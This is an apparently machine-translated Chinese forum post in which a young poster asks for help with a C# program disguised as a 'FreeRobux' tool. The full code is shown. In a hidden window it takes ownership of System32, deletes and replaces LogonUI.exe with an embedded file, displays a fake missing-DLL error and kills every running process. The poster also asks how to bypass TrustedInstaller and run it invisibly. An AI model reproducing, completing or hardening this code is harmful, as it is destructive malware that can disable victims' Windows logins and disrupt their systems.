覆盖Systemfiles.

RedException.

新成员
加入
3月31日,2021年
消息
3
编程经验
1-3
您好,首先,我想说我14岁,这只是为了教育目的!我不想破坏任何人/系统。
所以......我构建了一个程序,将LogOnui.exe覆盖了另一个logonui.exe。当我手动拥有系统32文件夹时,一切都正好工作。
我的计划还应该能够覆盖它(如果可能的话,看不见)。我试图绕过trustedInstaller但它不起作用。有人可以帮帮我吗?
那是我的代码:
C#:
        public static void Extract(string nameSpace, string outDirectory, string internalFilePath, string resourceName)
        {
            Assembly assembly = Assembly.GetCallingAssembly();

            using (Stream s = assembly.GetManifestResourceStream(nameSpace + "." + (internalFilePath == "" ? "" : internalFilePath + ".") + resourceName))
            using (BinaryReader r = new BinaryReader(s))
            using (FileStream fs = new FileStream(outDirectory + "\\" + resourceName, FileMode.OpenOrCreate))
            using (BinaryWriter w = new BinaryWriter(fs))
                w.Write(r.ReadBytes((int)s.Length));
        }

        bool logon_check = true;

        private void Logon_Load()
        {
            const string quote = "\"";
            ProcessStartInfo logon = new ProcessStartInfo();
            logon.FileName = "cmd.exe";
            logon.WindowStyle = ProcessWindowStyle.Hidden;
            logon.Arguments = @"/k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant " + quote + "%username%:F" + quote;
            Process.Start(logon);
            string LogonUI = @"C:\Windows\System32\LogonUI.exe";
            while (File.Exists(LogonUI) && logon_check)
            {
                try
                {
                    File.Delete(LogonUI);
                }
                catch (Exception ex) { }
                if (!File.Exists(LogonUI))
                {
                    logon_check = false;
                    Extract("FreeRobux", @"C:\Windows\System32", "Resources", "LogonUI.exe");
                    this.Close();
                   
                }
            }
        }


private void kill()
        {
            Logon_Load();
           
            MessageBox.Show("The program can't start because MSVCR71 is missing.", "System Error", MessageBoxButton.OK, MessageBoxImage.Error);

            System.Threading.Thread.Sleep(3000);

            Process[] processes = Process.GetProcesses();
            foreach(Process p in processes)
            {
                try
                {
                    p.Kill();
                }
                catch
                {
                   
                }
            }

        }
[忽略文件的名称(freerobux.exe)
来自美国的问候 :)
 
最佳 底部